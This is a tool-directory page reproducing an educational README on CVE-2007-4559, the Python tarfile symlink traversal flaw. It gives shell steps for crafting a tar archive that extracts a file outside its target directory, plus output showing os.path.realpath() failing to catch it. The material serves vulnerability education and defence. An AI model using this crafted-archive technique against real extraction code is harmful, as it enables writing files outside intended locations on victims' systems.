Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2007-4559 — Educational demonstration of CVE-2007-4559 Python tarfile symlink attack with a script showing why os.path.realpath() fails to prevent extraction outside intended directories. | Kitploit
Tools/GitHubGitHub/davidholiday/cve-2007-4559
Static AnalysisVulnerability AnalysisCode AnalysisExploitationSupply Chain SecurityLearning & Education
GitHubdavidholiday/cve-2007-4559

CVE-2007-4559

Educational demonstration of CVE-2007-4559 Python tarfile symlink attack with a script showing why os.path.realpath() fails to prevent extraction outside intended directories.

View Repository
1272 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

demonstration of CVE-2007-4559

what is this?

This is a demonstration of how python's default handling of tar file extraction prior to python v3.11.4 is vulnerable to a simple symlink attack. The instructions below describe how to craft a malicious payload. The script untar.py demonstrates how and why the features added in 3.11.4 work - specifically the necessity to invoke something like os.path.realpath() before every write for every file. The script employs the exactly same inspection method found in the extraction filter feature included in python >= 3.11.4 EXCEPT it does not write the files to disk. As such it shows how os.path.realpath() is unable to properly resolve symlinks and thus will allow tar members to be written outside of the intended filesystem location.

what's here?

  • instructions (this file) on how to set up the sandbox and the malicious tar file.

  • python script untar.py that will demonstrate the 'why' behind the recent implementation of enhanced tar validation in the python tarfile library. Due to how os.path.realpath() works, you can't rely on it to resolve symlinks unless those links are already on the filesystem. This means you can't rely on os.path.realpath() alone to inspect tar member paths prior to extracting the archive. You must instead call os.path.realpath() before every write for every member in the archive to ensure detection of malicious link activity. See PEP-706 and tarfile doc for more information.

  • create environment and malicious tar file

    1. create test environment
    root@kitploit:~
    snerd@jess:~$ mkdir -p lab/{lib,target}
    
    1. add ./lib folder to tar archive
    root@kitploit:~
    snerd@jess:~$ cd lab
    snerd@jess:~/lab$ tar -cvPf terry.tar lib
    
    1. replace ./lib directory with a symlink of the same name to "."
    root@kitploit:~
    snerd@jess:~/lab$ rm -rf lib
    snerd@jess:~/lab$ ln -s . lib
    
    1. add symlink "lib" to archive
    root@kitploit:~
    snerd@jess:~/lab$ tar -rvPf terry.tar lib
    
    1. replace symlink "lib" with directory and file
    root@kitploit:~
    snerd@jess:~/lab$ rm lib
    snerd@jess:~/lab$ mkdir -p lib/lib
    snerd@jess:~/lab$ touch lib/dangerous_file
    
    1. add file to archive using relative path
    root@kitploit:~
    snerd@jess:~/lab$ tar -rPvf terry.tar lib/lib/../dangerous_file
    
    1. copy tar into target directory
    root@kitploit:~
    snerd@jess:~/lab$ cp terry.tar target/
    snerd@jess:~/lab$ cd target/
    
    1. unpack tar. "dangerous_file" was unpacked outside the target directory
    root@kitploit:~
    snerd@jess:~/lab/target$ tar -xPvf terry.tar 
    lib/
    lib
    lib/lib/../dangerous_file
    snerd@jess:~/lab/target$ ls
    lib  terry.tar
    snerd@jess:~/lab/target$ ls ../
    dangerous_file  lib  target  terry.tar
    

    use python script

    1. download untar.py from this repository and put it in the ./lab directory

    2. run the script. note how easy it is to fool os.path.realpath() when the malicious symlink has yet to be written to the target filesystem.

    root@kitploit:~
    snerd@jess:~/lab$ python3 untar.py 
    member name is: lib
    dest_path is: /home/snerd/lab/target
    target_path is: /home/snerd/lab/target/lib
    is_tarslip? False
    -*-*-*-*-
    member name is: lib
    dest_path is: /home/snerd/lab/target
    target_path is: /home/snerd/lab/target/lib
    is_tarslip? False
    -*-*-*-*-
    member name is: lib/lib/../dangerous_file
    dest_path is: /home/snerd/lab/target
    target_path is: /home/snerd/lab/target/lib/dangerous_file
    is_tarslip? False
    -*-*-*-*-
    

    further reading

    • [Python-Dev] tarfile and directory traversal vulnerability

    • Alert: 15-year-old Python tarfile flaw lurks in 'over 350,000' code projects

    • SO post on how to safely extract tar archives prior to new features of python 3.11.4

    • python issue 21109

    • 2022 statement from the longstanding [ret. 2019] maintainer of the tarlib library

    • implementation for the new extraction filter feature introduced in python 3.11.4

    Download Tool